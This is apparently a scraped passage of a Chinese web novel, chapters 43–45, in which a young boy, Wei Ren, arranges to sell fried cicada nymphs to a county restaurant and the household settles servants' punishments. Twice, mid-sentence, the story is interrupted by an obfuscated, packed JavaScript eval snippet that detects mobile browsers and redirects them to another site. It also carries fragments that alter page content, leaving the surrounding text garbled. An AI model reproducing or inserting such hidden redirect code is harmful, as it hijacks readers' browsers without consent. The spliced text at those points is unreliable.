韦仁扭头看向赵氏,见赵氏的眼中并没有责备之意,韦仁才“啧”了一声,恶狠狠地说:“谁的腿这么快?让我知道非给他打断了!” 43.结了龟一 赵氏笑斥:“愈发会胡说了!快说,怎么回事?” 韦仁斜倚在凭几上,懒懒地说:“门房那里把谷元送我的结了龟给扔了,我让石伯去问话,也不知道怎么说的,他先跑来与我请罪了。” 韦世然蓦地看向韦仁:“扔了?!谷元没说是送给你的礼物吗?” 韦元茹也蹙起眉间:“吴疾和李寿是怎么做事的?怎么敢擅自处理你的东西?” “更具体的我就不知道了,我也等石伯来与我说呐。”兄姊比自己还生气,韦仁心里的不痛快就少了些,对也在看他的赵氏眨眨眼睛,“阿母就别担心了,我暂时不会找门房麻烦的。” 赵氏深深看韦仁一眼,颔首:“你想如何处置他们我不拦着,但你要先来与我说,田婶子和李立都是老家人,多少要顾着些他们的脸面。” 韦仁怪声怪调地应道:“儿子定谨遵母训。”惹得赵氏飞了他一记眼刀,韦仁立马弯起眉眼,笑嘻嘻地说,“真的知道啦,我就算不理会老家人,也不敢不听阿母的话呀!” 赵氏哭笑不得,嗔了一句:“真个贫嘴。”倒也没再追问下去。 将门房的事暂时揭过,韦仁换了个话题:“阿母,五味园是彭祖从兄舅家的产业,对吧?” “是。”赵氏给予肯定的答案后又随口说了些五味园的情况,“五味园说是曾家的产业,其实是长房独立经营起来的,里面管事的基本都是长房的人,其他房最多分些利市。” 韦仁摸着下巴,略沉思了下,就对赵氏说:“阿母,我一会儿写条竹谒,你让阿珀帮我送去给二从伯母去呗,我明天放学后去给二从伯母请安。” 韦仁此话一出,斜对面的韦元茹直接喷笑出声:“哎呦,五郎,你绕的是哪家的弯子,有事直说行不行?”还请安,别说二伯公家的伯母们,韦仁连自家的二伯母和三伯母也没主动说过要去请安呀! 赵氏也是好笑,虚点着韦仁:“说清楚,你找你二从伯母是要做什么?” “我想请二从伯母给我和五味园的掌柜牵个线。” 赵氏惊讶:“你找五味园的掌柜要做什么?” “我想把结了龟卖给五味园。” 韦仁话音落下,正堂内的几人都看向韦仁,眼神表达的也都是一个意思:你还真是逮着什么就要卖什么呀! 韦仁举手做发誓状:“阿母放心,我也就是试试,谈不成就算了,能谈成,后面的事我不会多管,不会耽误太多时间的。” 有过畜粪的事,赵氏也没再表示强烈反对,只是有些疑惑:“你怎么突然想做这个?” “我今天看到谷元时突然想到的,反正也不费什么事,好处又很多。”韦仁掰着手指头数,“这事若能成,谷元和椿婶子能赚些钱、城里的人能多吃到一味美食、五味园有了新菜品,赚不到大钱也能赚到名气。”总之,这事若能成,就是共赢! 韦仁的小嘴一通巴巴,听得韦元茹和韦世然目瞪口呆,赵氏却只挑了挑眉:“五郎,你没打算在这上面赚钱?” 韦仁愣了一下,随即装模作样地叹了口气,摊摊小手:“就是些辛苦钱,哪儿有我分润的份呀!”倒不是韦仁无私奉献,而是费尽心思从乡邻那里抠出仨瓜俩枣的实在是得不偿失,不如当个小小人情送出去,他以后多半要常去聚里,维护好乡邻关系很重要。 赵氏宛转蛾眉,似是看懂了韦仁的心思,笑道:“好,那你就试试吧。” 得到赵氏的支持,韦仁用完晚食后就让沈决明把石大郎叫来了君子院。 石大郎也才用过晚食,听说韦仁叫他,下意识地看向主位上的石伯,父子二人第一时间都怀疑韦仁是不是要过问门房的事。 最终还是石伯摇了摇头,叮嘱石大郎:“五郎君既然只唤你过去,想来是另有事宜,你快去吧。” 石大郎答应一声,忙出了西院,跟着沈决明走了。 韦仁等来石大郎后,开门见山第一句话就是:“我已经向阿母报备过,接下来几日又要劳烦石大叔帮我做些事情。” 石大郎磕绊都没打,对韦仁拱手作揖:“是,五郎君尽管吩咐。” 韦仁先将自己的想法和要求与石大郎说了,最后才叮嘱道:“结了龟也就在这两三个月能抓到,没多少时间可以耽误,辛苦石大叔走一趟。”韦仁说完又指指沈决明,“让沈决明给你做个伴,路上能安全些。” “五郎君无需担心,这个天时,我们能在天黑前赶到韦庄的。”石大郎应得痛快,只多问了韦仁一句,“明日卯时我和沈决明恐怕赶不回来,就让石岩送郎君们去学馆吧?” “我也是这样想的。”韦仁对石大郎和石岩不吝夸奖,“石岩很得石大叔你的真传,赶车很稳当。” 与韦仁这里说妥,石大郎和沈决明不再耽搁,各自花了一点儿时间去准备出行的东西,并安排他们离开后这段时间的事务交接,然后就赶着车出了韦宅直奔新聚而去。 西院中,石家的堂屋内,石二郎正在与石伯抱怨。 “大兄管着牲畜棚,平日还要给郎君们赶车,现在竟然还要连夜出城去。”石二郎抠着屁股底下垫子的麻布罩皮,嘟哝道,“阿翁,明天让大嫂做些好的给大兄补一补吧?” 石伯看着自家二儿子那蔫头耷脑的样子就愁得慌:“你少说怪话,我倒是希望你能像你大兄那样忙,你说说,你能做啥?” 石伯之前把石二郎弄到韦庄,让他在那边当个小管事,庄子里事少,石二郎可以先做些琐事历练历练,等宅子这边有合适的位置,石伯就能把他弄回来。 石伯计划得很好,结果计划赶不上变化,出了周大亮那事,石二郎虽没有受到责罚,但也提前下了岗。 差事没了,石二郎只能在家闲着,虽然不愁吃喝,但也只剩吃喝了,本来嫂子还偷偷支援了他一些钱,结果不知怎么被石伯发现了,把钱全部没收不算,大嫂被骂了一顿,他也得了一顿抽打! 石二郎先是下意识摸了摸腰臀,然后,石二郎手脚并用地跪爬到石伯跟前,抬手就要给石伯捏肩。 结果,手才搭上石伯的肩膀,就被石伯耸肩挣开了,石二郎不屈不挠仍是厚着脸皮去够石伯的肩膀,父子二人你来我往三个回合,石伯总算不再拒绝,放任石二郎给他捏肩。 石二郎一边卖力伺候自家亲爹,一边说道:“我至少认识百来个字,也会算术,怎么就不能做事了?” “你还好意思说?”石伯没好气地瞪了石二郎一眼,“我和你大兄追着教你,你才认识那么些字。你看看毋忧,他有谁教,人家现在认识的字也比你多多了,听说平时都能给五郎君念书听!” 毋忧简直是韦家僮人间的励志典范——一个来韦家每两年、在牲畜棚只干了一年的杂役小子突然一跃成了五郎君跟前的得意人儿,这机遇怎能不羡煞旁人? 自然,毋忧不免也成了众多“不肖子”耳中的“别人家的孩子”,石二郎这个“不肖子”自然也不乐意听到毋忧的名字,不过他今天有事求石伯,便也耐着性子听了。 等亲爹发完火,石二郎才继续说:“阿翁,你看我也闲了这么长时间,我总不能一直让阿翁和兄嫂养着是不是?” 石伯撩起眼皮,只用眼角夹着石二郎:“你想做什么?” 石二郎往石伯跟前又凑了凑:“大兄只是给五郎君帮了把手,五郎君就给大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382478|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄那许多打赏,可见那些畜粪卖了不少钱,不若我把周围四邻的畜粪收一收,咱家牲畜棚里也……” 石二郎的话还没说完,就被石伯一个大耳刮子抽到了脸上,石伯指着石二郎:“你给我住口!谁给你的狗胆子敢生出这种心思?!” 石二郎捂着一边脸颊,斜斜歪在地上,又怕又懵地问:“我、我怎么了?” 石伯被自家蠢儿子气得肝疼,生怕他闯祸,还得压着脾气教他:“你也知道那是五郎君的买卖!你敢在这上面动心思,你不要命了?” 石二郎委屈:“我听说罗家只在相聚收畜粪,我只收咱们县城这一片儿的还不成吗?”石二郎私下里算过的,他也赚不到多少钱,但总也比一枚五铢钱都没有来得强。 “不成!你给我熄了这心思!” 石伯左右转着脑袋,就想找自己的鞭子,吓得石二郎按着石伯的手臂匆忙保证道:“阿翁、阿翁,我就是想想,不做就不做,我保证不做!” 说着,石二郎赶紧跪好,一边伸手给石伯抚胸口,一边倾诉自己的“辛酸”:“我还不是着急差事,我现在能靠着兄嫂,等我成亲,总不能让妻儿跟着我喝西北风啊。” 石伯恨恨:“就你这尽耍小聪明的德行,哪家的好女娘肯嫁你?” “我又没办法与阿翁你比,这不先同你商量来着。”先奉承自家阿翁一句,石二郎又揉着脸颊嘟嘟哝哝,“阿翁不同意就不同意,与我说便是,我还能不听阿翁的话。阿翁,你下次打我能不能别打脸?我这脸保准得肿了,明天怎么见人啊?” “正好老实在家呆着!”打也打了、骂也骂了,再看二儿子那张肖似亡妻的脸,耳边又是一声接一声的“阿翁”,石伯心里的气也散了去,转过头还要安抚一下儿子:“差事的事,你不要着急,有我和你大兄在,总有机会在主家们那里讨得的。” 石伯没与石二郎说虚话,他看韦仁这些日子的行事,感觉以后韦仁的事定是少不了的。韦仁要做事,手里就得有人,自家二儿子虽然浮躁些,但胜在胆小听话闯不了大祸,找个合适的机会荐给韦仁,帮忙跑跑腿儿啥的,慢慢也就得用了。 韦仁不知道自己已经被石伯给惦记上了,忙完每日要做的事情后,韦仁又思量了一遍结了龟的事就早早上床睡觉了。 而另一边,赶到新聚韦庄的石大郎和沈决明才刚刚向牛伯一家传达完韦仁的指令。 东边那林子不小,石大郎担心谷元进了林子后,他们还得费工夫找人,便不敢耽搁,主动说道:“牛伯,现在时辰也不早了,不如叫上几个人,让实兄弟现在就带我们去找谷元如何?”说完,石大郎神色间又显现出一抹歉然,“就是椿婶子那里,恐怕得劳烦牛婶子亲自走一趟。” 牛伯忙说:“不消事、不消事,我这就让她去找人。”说完这话,牛伯咕哝了下嘴巴,似是还有话想说,但又不知该不该说。 石大郎看出来了,说道:“牛伯,你有话尽管说,新聚这里我和决明都不熟悉,我们来之前,五郎君也说,遇事要多听牛伯你的想法。” 石大郎态度恳切,牛家父子闻言,不禁对看一眼,脸上都露出些微古怪神色,看得站在一旁的石大郎和沈决明更觉莫名。 片刻后,还是牛实轻咳一声,有些尴尬和为难地说道:“不瞒石管事和沈小兄弟,主家们上次离开这里后,椿婶子用黍米从谷大郎那里换了些结了龟,做好了拿去县城的市集去卖。” 又静默了一会儿,牛实挠了挠头,揭开谜底:“呃,听说一个都没卖出去。” 石大郎沈决明:…… 好吧,这下换成石大郎和沈决明神色古怪地互相对视了。 44.结了龟二 虽然大家对韦仁要卖结了龟的事情都开始犯嘀咕,但总要先完成韦仁的吩咐才好说之后的事。 谷元也是万万没想到,今夜会有好几个人与他一起去林子里抓结了龟,因为除了谷元外,其他人皆是新手,所以谷元还要教导众人寻找结了龟的技巧。 谷元讲解得十分细致,一听就知道他没有任何藏私,石大郎听完后,不禁问道:“你就不怕我们把这里的结了龟都抓了,你以后没得抓?” 谷元愣了一愣,而后特别实在地说:“我家里一共就三口人,就算一天两顿全吃这个,也吃不了多少,而且,这本就是无主的东西,谁都能抓的。” 谷元这话逗乐了周围的人,石大郎也暗自点头,其他且不论,现在看谷元至少是个明白人。 不过,哪怕谷元倾囊相授,如他一般小半个时辰就能抓到百多个结了龟的人也是没有的,以至于石大郎等人捧回韦庄的三大坛的结了龟中有两坛都是谷元给抓的。 众人折返时,沈决明留在最后,随手递给谷元一个荷囊。 谷元一开始都没反应过来,下意识接过荷囊,捏着手感不对,拉开绳子从囊口看到里面躺着的五铢钱,谷元吓了一跳,差点儿把开着口的荷囊直接扔回到沈决明身上。 谷元脸颊憋得通红,尤其在火把的映照下,那红晕更是明显,谷元一边摇手一边语无伦次地拒绝:“不、不,不用给我钱,就是顺手抓的,五郎君想吃,我随时都能抓的!”已经见过两次,谷元也知道沈决明是跟着韦仁的。 沈决明也不知道谷元是不是识字,不过谷元认识草药,沈决明猜测谷元多少应该学过,便蹲下-身子在地上划了几个字:这是坛子钱,不是蝉的。 沈决明猜对了,谷元识得的字不多,他就不太认识“蝉”字,但沈决明前半句话,谷元还是读懂了。 看懂之后,谷元都没来得及反应沈决明怎么不说话而是用“写”的,捏着荷囊的手先不由自主地紧了紧,脸上的热气愈发烫了——往县城里给韦仁送了两次结了龟后,他家确实已经没有富裕坛子可用了。 谷元原本想着,休沐日拜访韦仁时就用竹筒代替坛子盛放结了龟,不想韦仁竟让人给他送来了买盛器的钱。 谷元稍稍犹豫了一下,这次没再推拒,而是向着韦庄的方向鞠了一躬,起身后就对沈决明说:“那我就收下了。” 沈决明见谷元明白了他的意思,对他点了点头后就快步追着石大郎等人回去了韦庄。 除了给谷元的荷囊外,韦仁在石沈二人出发前,还给了沈决明另外一个荷囊——椿婶子与牛伯等人不同,她不是韦家的僮人,只是韦家的佃户,韦仁认为,大晚上把椿婶子和她儿子叫来韦庄料理结了龟,总不能白白喊人过来。 不过,这个荷囊沈决明没给出去,因为被牛实拦下了:“沈小兄弟,椿婶子是咱家的佃户,大家都是乡邻,今晚这种算不上是帮工,不用给钱的,明天庄子这边给她家送些菜肉过去就行了。” 韦仁不太懂聚里这方面的习俗,沈决明就更不懂了,便有些犹豫。 牛实见状,便又多解释了一句:“真不用给,椿婶子不会收的,叫人知道了也不好。” 牛实语气肯定,沈决明实在想不明白会有哪里不好,不过也没再坚持,反正如果韦仁一定要给椿婶子钱的话,他到时候再过来一趟就是了。 韦庄的厨房内灶火与烛火彻夜未灭,韦仁这个“始作俑者”却是一夜好眠,第二日照常去朝元馆上学,韦仁甚至都没太惦念结了龟的事。 倒是在上学的路上,石岩替石伯向韦仁转达了石伯对吴疾和李寿的讯问结果,李寿的说法与吴疾的相差无几,不过是在言辞间尽量为自己说了些好话而已。 韦仁听完后,没说被扔掉的结了龟的事,而是问石岩:“我记得吴疾有两个兄弟吧,他们关系怎么样?” 韦仁这话问得有些前言不搭后语,石岩却听得眼皮跳了跳,犹豫了一下才斟酌着词句说道:“五郎君,我与吴三叔见得还多些,吴大叔和吴二叔与我年岁相差比较大,吴大叔在白杨聚、吴二叔在磨坊,我已经好久没见过他们了,不太了解。” 韦仁只“哦”了一声,没再问别的,而是说:“石伯和你说过他准备如何处置吴疾和李寿了吗?” 石岩松了口气,先解释一句:“我阿公说,早上时间匆忙,他不敢耽误五郎君上学,若五郎君不问我,他就待郎君放学归家后再与郎君回禀。”顿了一下,石岩继续说,“我阿公的原话是,‘吴疾和李寿擅自处理客人送来的礼物,每人打50板子,扣半年食俸,后观察半年,再定夺是否继续留在门房’。” 韦玄成对待僮人一向宽和,在他的影响下,韦元茹、韦世然和韦仁对家里僮人的态度也都很好,别说50板子,在韦家,一年里也不一定会出现一个因为犯错被打的僮人。 石伯之所以会定下这样重的处罚,有大半原因是听石大郎说了吴疾在门廊跪拦韦仁的事,石伯担心若他罚得轻了,韦仁心里的气没撒干净,那就不一定谁会跟着倒霉了。 石岩对韦仁的态度也有所顾虑,忍不住替自家阿公多问一句:“五郎君看这样处置是否妥当?” 韦仁没有直接回应石岩的问题,而是看着身边的韦世然:“大兄,你想说什么就说呗。” 韦世然的一对眉毛正往一起凑呢,看一眼韦仁,韦世然说了自己的看法:“50板子是不是有点儿多了?而且……”韦世然低声说道,“我记得你说过,对犯了错的人,比起打板子抽鞭子什么的,还不如让他去‘劳动改造’。” “就是!”韦仁深表同意,“50板子,假打就是白打,真打的话,他们铁定要卧床休养,耽误差事不说,就怕他们家里的人烦到阿母那里去。” “那让他们去干什么?”对于吴疾和李寿扔了结了龟的事,从表面上看,韦世然其实比韦仁还恼火些,此时提到了,韦世然立刻提出意见,“你不是要卖结了龟吗?不如让他们去新聚,白天去做农活,晚上去抓结了龟。” “且等等吧,他们又不懂,去了也是添乱,我最近没空搭理他们。” “那先罚钱?”韦世然大概算了一下吴疾和李寿半年的食奉,忍不住感叹一句,“他们半年的食奉也有不少呢。” “罚食奉的话,钱又落不到我手里,他们扔的可是我的东西。”韦仁哼哼,“等我算好了那些结了龟值多少钱,让他们三倍陪我!” 韦世然提醒:“那你别忘了给阿母六成!” 韦仁:……瞬间觉得三倍也并没有很多了怎么办? 石岩坐在前面目不斜视地赶车,听着两位郎君你一言我一语地定下了对吴李二人的处罚,片刻后才接话道:“四郎君五郎君,我一会儿回到家后,就将郎君们的意思说给我阿公?” 韦仁:“好,麻烦你了。” 因为计划要去拜访二从伯母,韦仁今日放学后便没在学馆中逗留,等石大郎驾着牛车来接他们时,韦仁就与韦世然一起回家了。 在路上,石大郎便事无巨细地与韦仁汇报了在韦庄做的事,不仅如此,二人还带回了数个小坛子,里面装的都是用不同方式和配料腌制好的结了龟。 “我出来前已经去找了田婶子,五郎君归家后就能吃到。”这当然是韦仁提前吩咐好的,石大郎办得一丝不苟,不过他仍是有些不放心,“就算一种只试吃一只,也要吃四只,恐怕对五郎君你的身体不太好。” 是不是真的不太好,石大郎不能确定,他能确定的就是,赵氏多半是不许的。 对此,韦仁早已有对策:“我不全吃,就咬一口,判断一下口感和味道而已。” 听到韦仁没打算与赵氏硬抗,石大郎才算是放心。 韦仁到家后,仍是要先到正堂与赵氏请安,赵氏果真不放心他——料理好的结了龟是被直接端到正堂的,而赵氏也是盯着韦仁每一种只咬了一半才没有多说。 韦仁尝过那些结了龟,吩咐沈决明按照他的判断做了记录后,就回去君子院换上了出门做客的衣服。 因为赵氏身子不便,韦世然则要随罗夏归补上昨日的射箭课程,最后陪同韦仁前往城南韦家的人就是韦元茹。 城南韦家说的便是韦仁二伯公一家。 韦仁的祖父韦贤在儿子们成年后就给他们各自分了产业和宅子,而二伯公目前仍是和三个儿子住在同一座宅邸内,不过,包括正房在内,每一房都有独立的院子。 韦仁此行的目标虽然是二从伯母,但来到城南韦家,他和韦元茹也得先拜见二伯公。 二伯公是韦家家族里的最年长者,颇受晚辈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399867|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们敬重,韦仁对这位长辈却不大熟悉,毕竟他们两个出门都少,不过二伯公对韦元茹和韦仁都挺喜欢的样子,让他们与三房的长辈请完安后就回来与他一起用晚食。 原本韦仁还担心他们三个一起吃饭会冷场啥的,不想韦元茹与二伯公颇能聊上几句,二伯公甚至知道韦元茹最近在做风铃的事,这让韦仁对自家,或者说自家大姊与二伯公之间的关系有了全新的认识。 因为赵氏有提前派人送来拜谒,二伯公也知道姊弟二人是来找二房的,用完晚食就让自己身边的僮人领着他们去了二房的院子,这番行事真叫一个体贴又利索。 离开正院时,韦仁都忍不住与韦元茹说:“我第一次单独与二伯公吃饭,以前还以为二伯公是位端肃长者呐,没想到竟是如此慈和。” 韦元茹拍韦仁后脑勺一记,轻叱:“不许议论长辈!”说着,韦元茹对身边的僮人略欠了欠身,“家弟年幼,心直口快,失礼之处望韦伯不怪。待我们姊弟与二从伯母请完安后,我再带他去向二伯公请罪。” 韦伯能得韦姓,可见在二伯公那里是很有地位的,韦仁便也对韦伯拱了拱手:“我没有对二伯公不敬之意,言辞不当之处,请韦伯先替我与二伯公致歉,我一会儿亲自去给他老人家赔罪。” 韦伯笑呵呵地侧身避过,又回了半礼:“哪里就说到罪不罪的地方,五郎君年纪小,以前来得少些,二女郎是常见的,知道家主的性情,不会计较的。” 韦伯将姊弟二人送到二房院子的院门处就回去了,而曾氏的僮使已经等在了那里,见到韦元茹和韦仁后,僮使便将二人领到了正堂旁侧的内厅中。 走进内厅后,韦仁和韦元茹先与曾氏请安,再与曾氏的一双儿女——韦彭祖、韦青玫互相见礼,之后便按照年龄顺位坐到了韦彭祖和韦青玫对面。 因为晚食前已经互相寒暄过,曾氏也知韦元茹和韦仁此番前来是有事的,只稍问了一下二人晚食用得可好后,就将话题引到正事上:“我昨儿接到你们阿母的竹谒就一直惦记着,咱们都是亲戚,有什么要我帮忙的,你们尽管说。” 韦元茹笑着答道:“我阿母最近孕吐得有些厉害,不然该是阿母带着五郎过来的,我们这些小辈过来还劳二从伯母亲自招待,真是让我们姊弟羞愧。”韦元茹看向韦仁,“五郎,你快与二从伯母说说你那事吧。” 人情和客套的部分已经由自家大姊承包,韦仁便直言道:“之前去五味园吃饭,我才知道那是彭祖从兄和青玫从姊舅家的产业,我最近从别人那里得了一道新鲜菜品,我们吃着不错,如今也没见着市面上有卖的,我就想拜托二从伯母引荐我与五味园的掌柜见一面。” 曾氏没想到韦元茹和韦仁找她竟是为了这样的事,猜测道:“五郎,你是想将方子卖与五味园?” “二从伯母看我这样也能知道买卖不是我的,我也算是替一个朋友牵个线,若五味园对新菜品有兴趣,方子事小,主要我那个朋友可以提供原料。” 曾氏对韦仁也不了解,虽然韦仁表现出了不同于同龄孩子的沉稳和条理,曾氏仍是忍不住看了韦元茹一眼。 韦元茹回给曾氏一个微笑:“二从伯母,那道菜我阿翁吃过,觉得不错。”韦元茹指指韦仁,“只是那菜是从他一个朋友那里得来的,五郎不放心交给其他人办,非要亲自与五味园谈,不然,我阿母也不会放五郎过来叨烦二从伯母。” 曾氏略略放心,韦元茹能说出这样的话,应该就不是小孩子的胡闹。 别管是卖方子还是卖原料都不算什么新奇事,至于引荐之事,韦仁若想见曾氏长房的谁可能还要费些工夫,但韦仁只提出要见掌柜,曾氏只略想了想,就答应下来:“既如此,就让你们彭祖从兄陪五郎走一趟,他与五味园的掌柜还算熟悉。” 韦仁看一眼韦彭祖,见他也在瞅着自己,就咧嘴笑了笑:“那就麻烦彭祖从兄了,这个休沐日可以吗?” 韦仁自觉十分友好乖巧,不想他这纯真一笑,笑得韦彭祖更加怀疑他是不是在闹着玩儿。 不过母亲有命,韦彭祖也只能点头应承下来,好在这事儿也确实不难,韦彭祖便对韦仁说道:“你想休沐日见面,这问题不大,我明天先去一趟五味园,若得了准信儿就让人去告诉你。” “谢谢彭祖从兄。” 45.结了龟三 正如曾氏所料想的那般,韦仁这个韦家小辈想见曾氏长房父子不容易,但让刘掌柜空出一段时间见他还是不难的。 韦仁和韦元茹拜访城南韦家的次日,韦彭祖就派身边的僮奴给韦仁传了口信,见面的时间就定在休沐日辰正。 当日,韦仁带着凑热闹的韦世然、按照约定来拜访的谷元、被他临时叫来的椿婶子以及沈决明和石岩提前一刻钟到达了五味园。 五味园的伙计应是得了嘱咐,韦仁一行才踏入五味园的大门,就有一个伙计迎了过来,确认韦仁的身份后便引着他们去了二层的一个包房。 房间内并没有人,韦仁和韦世然选了两处临近的客卫坐了,其他四人则在二人身后两两一排直接跪坐到地板上。 伙计对韦仁和韦世然施一礼:“郎君们稍待,掌柜刚刚去后面处理一点儿事,我这就去找他过来。” 韦仁一边在心里盘算着结了龟的买卖,一边与韦世然一起回忆之前在这里吃到的菜品,并商量着是不是要打包一二样回去做加餐。谷元和椿婶子都是第一次来这种地方,不免有些忐忑又有些新奇地用眼角瞄着周围的环境,而沈决明和石岩则是没什么表情,只眼神定在自家的郎君后背,不知道在想些什么。 直至韦世然喝完伙计送来的一碗甜羹时,刘掌柜和韦彭祖二人才前后脚到达了包房。刘掌柜脸上洋溢着买卖人特有的“和气生财”的笑容,与韦仁和韦世然揖礼致歉:“鄙人来迟,让两位郎君久等。” 韦仁等人这时候也都站起了身,韦仁和韦世然先与韦彭祖见礼,随即向刘掌柜还礼。 韦仁客气道:“我们没等多久,刘掌柜也并没有迟到,咱们约定的本来就是辰正。” 韦彭祖坐到韦世然对面:“没想到你们先到了,不是伙计说,我还想在门口等你们呢。” 韦世然有些不好意思,歉然道:“是弟弟们疏忽了,兄勿怪。” “不怪不怪,反正我也没等。”韦彭祖本就是随口一说,和两位从弟说了两句话,就把话题引到刘掌柜身上,“我也不懂食肆的事,你们与刘掌柜直接谈吧。” 刘掌柜看韦世然和韦仁一眼,见他们没有让谷元等人出去的意思,便也无视了那四人,直接看向韦世然:“韦二郎君说郎君想将一种新鲜吃食卖于五味园,不知是何吃食?” 韦世然见刘掌柜始终看着自己,抬起左手向右指指:“刘掌柜,是五郎要卖你东西,不是我。” 刘掌柜一噎,视线转到韦仁身上,轻咳一声,将之前的话又重复了一遍:“失礼失礼,不知郎君带来的是怎样的吃食?” 韦仁装作没看到刘掌柜有些犹疑的视线,笑着说道:“一种虫子,聚里叫它结了龟,就是还没有脱壳的蝉。” 刘掌柜听到是蝉,不由看了韦彭祖一眼,见韦彭祖脸上也尽是惊讶之色,心里的怀疑就更重了些,不过他是场面上的人,仍是笑呵呵的样子:“不知要如何吃?” “我觉得煎炸出来的最好吃,所以没有带来成品,若刘掌柜有兴趣,可以现在让椿婶子去厨房现做一盘给刘掌柜试吃。” 刘掌柜想了想,唤了个伙计过来,让他陪椿婶子去后厨。 椿婶子之前只知道韦仁叫她来城里是为了煎制结了龟,没想到韦仁是让她去五味园的厨房煎制结了龟,椿婶子有些无措,只按照指令站起身亦步亦趋地跟在伙计身后,都没发现结了龟还抱在谷元怀里。 韦仁一看椿婶子快把脑袋塞进胸口的模样就知道她在紧张,叫了一声:“椿婶子。”见椿婶子回过头,韦仁说道,“椿婶子,你在韦庄时怎么做的在这里怎么做就好,我尝过你的手艺,很不错。再说,咱们也不用和五味园的大厨比,给刘掌柜尝尝口味就好。” 椿婶子深深吸了口气,对韦仁挤出一个笑容,虽然有些僵硬,好歹眼神不再乱飘:“是,五郎君放心,我一定好好做。” 韦仁随即看一眼沈决明,沈决明会意,从谷元怀里抱走那坛子腌制好的结了龟,跟在椿婶子身后去了后厨。 煎制结了龟是很快的,椿婶子和沈决明不久就跟着伙计一起回到了包房,沈决明手里仍抱着那坛结了龟,而伙计手里则提着一个食盒。 因为知道端出来的会是些什么玩意儿,刘掌柜看到那盘金黄金黄的、能看清楚黑圆黑圆的眼睛的结了龟时,虽是心下不适,不过仍是拿起筷子夹了一只放入口中。 许是包房内的光线有些昏暗,刘掌柜眼睛里突然间亮起的光格外显眼,等不及咽下嘴里的结了龟,刘掌柜已经从盘子里夹起另外一只结了龟,那急切的模样充分诠释了什么叫“真香”。 刘掌柜“唰唰唰”连吃三只,韦仁看一眼盘中余下的两只,问斜对面的韦彭祖:“彭祖从兄,你不尝尝吗?” 尝什么呀尝?韦彭祖快吐了好不好! 韦彭祖现在简直悔得肠子都青了:果然不该相信一个六七岁的小孩能做出什么正经吃食! 不过看一眼筷子不停的刘掌柜,韦彭祖只能忍着恶心对韦仁摆了摆手:“不了,我最近有些上火,不能吃煎炸的东西。” 韦仁见韦彭祖不吃,就拿起自己的筷子,夹起盘中最后一只油光水滑的结了龟放到嘴里,心情十分愉悦地一口吞下。 将结了龟咽下肚,韦仁满意地点了点头:做法越简单的食物越讲究细节,而细节是需要多次尝试后才能逐一发现并完善的,椿婶子现在料理结了龟的手艺比初次为他煎结了龟时强上许多。 刘掌柜这时也放下了筷子,能掌管县城中最大的食肆,刘掌柜在经营和食物方面都有自己的独到之处,他也不吝称赞:“火候掌握得还不错,外皮酥脆内里鲜嫩,味清却不寡淡,是道很不错的佐酒菜品。” 韦仁含笑应道:“是,我阿翁第一次吃时,喝了半斗酒,以往可喝不了那么多。” “我知道蝉是从地里出来的,竟是一点儿土腥味也没有,这结了龟腌了许久吧?”刘掌柜右手拇指依次点过其余四指,嘴上喃喃,“我尝着,有葱、姜、精盐……嗯,还有醇酒,应该还放了一点儿椒。” 椿婶子脸上的惊诧完全遮掩不住,韦仁已经听出刘掌柜的言下之意,心中遗憾,语气仍是轻快的:“刘掌柜好灵的舌头,说得一点儿不差。” 刘掌柜摸了摸自己圆滚滚的肚子,笑眯眯地解释道:“不瞒郎君,鄙人以前做过厨子,许多菜,吃上几口就能琢磨出个大概。” “看来我眼中的方子在刘掌柜面前是算不上方子的,既如此……”韦仁对刘掌柜拱拱手,“那我们就不耽误刘掌柜做买卖了。”说着,韦仁作势起身告辞。 刘掌柜忙出言留人:“郎君且慢,方子是方子,咱们之间能做的买卖又不只有方子!” 韦仁立马将只抬起几寸高的屁股重新坐回脚跟:“这么说,刘掌柜愿意从我们这里买结了龟了?” “这是自然,总不能让郎君白跑这一趟。” 说得好像你能让伙计自己去抓一样!韦仁一边腹诽,一边呼出口气,眼睛亮闪闪地看着刘掌柜:“那就太好了,原本我还想着刘掌柜若想自己派人去抓结了龟,我就用方子与刘掌柜谈条件呐。” 刘掌柜被韦仁这大实话逗得笑了两声,宽大的手掌又摸了摸肚子,刘掌柜瞅着韦仁,问道:“不知郎君打算如何做这结了龟的买卖?” 韦仁没接这话,而是再次询问:“刘掌柜,你真的不买我的方子吗?我的方子里不止有食谱,我还想了很多把这些结了龟卖出去的法子。” 刘掌柜笑而不语,有什么向客人推荐新菜品的法子是他不知道的呢? 韦仁等了一会儿,见刘掌柜是打定主意不肯买方子,也不再纠缠,顺着之前的问题反问道:“刘掌柜,你是想要活着的新鲜的结了龟,还是想要腌制好的结了龟?” “这两种分别怎么说?” “如果是前一种,那我们提供不来。”见刘掌柜的笑容僵了一下,韦仁解释,“结了龟出土后很快就会脱壳,脱壳后的结了龟的口感会下降,也不好处理,肉也会变少,如果刘掌柜想要,也不是不可以,但那是另外一桩买卖。” “原来是这样。”刘掌柜垂着眼帘略略思索,才说,“那腌制好的结了龟,郎君准备如何卖?” “刘掌柜打算收多少呢?” “这毕竟是新菜品,又是……恕鄙人直言,一道菜讲究的就是色香味,色排第一,这结了龟的卖相确实差了些,鄙人如今也不确定能不能卖出去。” 韦仁略有诧异:“刘掌柜是想我们寄卖吗?”倒也不是不行,“刘掌柜打算如何分成?” 